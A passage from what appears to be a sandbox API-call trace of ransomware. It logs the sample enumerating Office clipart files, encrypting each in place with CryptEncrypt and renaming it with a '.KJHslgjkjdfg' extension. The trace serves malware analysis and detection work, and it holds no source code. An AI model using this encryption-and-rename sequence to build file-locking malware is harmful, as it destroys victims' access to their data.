lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.118] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.118] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.118] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.118] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3b2e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3b2e, lpOverlapped=0x0) returned 1 [0178.120] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3b30, dwBufLen=0x3b30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3b30) returned 1 [0178.120] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.120] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3b30, lpOverlapped=0x0) returned 1 [0178.120] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.120] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.120] SetEndOfFile (hFile=0x114) returned 1 [0178.123] GetProcessHeap () returned 0x2a0000 [0178.123] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.123] GetProcessHeap () returned 0x2a0000 [0178.123] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.123] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf.kjhslgjkjdfg")) returned 1 [0178.124] CloseHandle (hObject=0x114) returned 1 [0178.124] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e8e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0182902.WMF", cAlternateFileName="")) returned 1 [0178.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.125] GetProcessHeap () returned 0x2a0000 [0178.125] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.125] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.125] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.126] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0178.158] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.158] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.158] GetProcessHeap () returned 0x2a0000 [0178.158] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.158] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.158] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.158] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.158] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.158] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.159] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.159] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.159] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.159] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.159] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.159] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.159] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1e8e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1e8e, lpOverlapped=0x0) returned 1 [0178.160] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e90, dwBufLen=0x1e90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e90) returned 1 [0178.160] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.160] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1e90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1e90, lpOverlapped=0x0) returned 1 [0178.160] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.160] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.160] SetEndOfFile (hFile=0x114) returned 1 [0178.163] GetProcessHeap () returned 0x2a0000 [0178.163] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.163] GetProcessHeap () returned 0x2a0000 [0178.163] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.163] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf.kjhslgjkjdfg")) returned 1 [0178.165] CloseHandle (hObject=0x114) returned 1 [0178.166] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21290a00, ftCreationTime.dwHighDateTime=0x1bdf6f5, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21290a00, ftLastWriteTime.dwHighDateTime=0x1bdf6f5, nFileSizeHigh=0x0, nFileSizeLow=0x3ed2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0182946.WMF", cAlternateFileName="")) returned 1 [0178.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.167] GetProcessHeap () returned 0x2a0000 [0178.167] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.167] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.167] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.167] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0178.175] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.175] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.175] GetProcessHeap () returned 0x2a0000 [0178.175] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.175] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.175] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.175] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.175] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.175] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.175] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.176] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.176] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.176] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.176] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.176] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.176] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3ed2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3ed2, lpOverlapped=0x0) returned 1 [0178.182] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ee0, dwBufLen=0x3ee0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ee0) returned 1 [0178.182] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.183] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3ee0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3ee0, lpOverlapped=0x0) returned 1 [0178.183] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.183] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3fb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.183] SetEndOfFile (hFile=0x114) returned 1 [0178.187] GetProcessHeap () returned 0x2a0000 [0178.187] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.187] GetProcessHeap () returned 0x2a0000 [0178.187] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.187] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf.kjhslgjkjdfg")) returned 1 [0178.189] CloseHandle (hObject=0x114) returned 1 [0178.189] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x745c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0183172.WMF", cAlternateFileName="")) returned 1 [0178.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.191] GetProcessHeap () returned 0x2a0000 [0178.191] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.191] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.191] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.191] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.197] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.197] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.198] GetProcessHeap () returned 0x2a0000 [0178.198] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.198] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.198] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.198] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.198] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.198] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.198] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.198] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.198] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.198] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.198] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.198] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.199] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x745c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x745c, lpOverlapped=0x0) returned 1 [0178.200] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7460, dwBufLen=0x7460 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7460) returned 1 [0178.201] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.201] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7460, lpOverlapped=0x0) returned 1 [0178.202] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.202] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.202] SetEndOfFile (hFile=0x114) returned 1 [0178.205] GetProcessHeap () returned 0x2a0000 [0178.205] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.205] GetProcessHeap () returned 0x2a0000 [0178.205] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.205] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf.kjhslgjkjdfg")) returned 1 [0178.206] CloseHandle (hObject=0x114) returned 1 [0178.206] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6fd2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0183174.WMF", cAlternateFileName="")) returned 1 [0178.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.207] GetProcessHeap () returned 0x2a0000 [0178.207] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.207] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.207] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.207] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0178.213] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.213] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.213] GetProcessHeap () returned 0x2a0000 [0178.213] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.213] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.213] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.213] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.213] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.214] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.214] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.214] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.214] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.214] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.214] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.214] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.214] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6fd2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6fd2, lpOverlapped=0x0) returned 1 [0178.227] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6fe0, dwBufLen=0x6fe0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6fe0) returned 1 [0178.227] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.227] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6fe0, 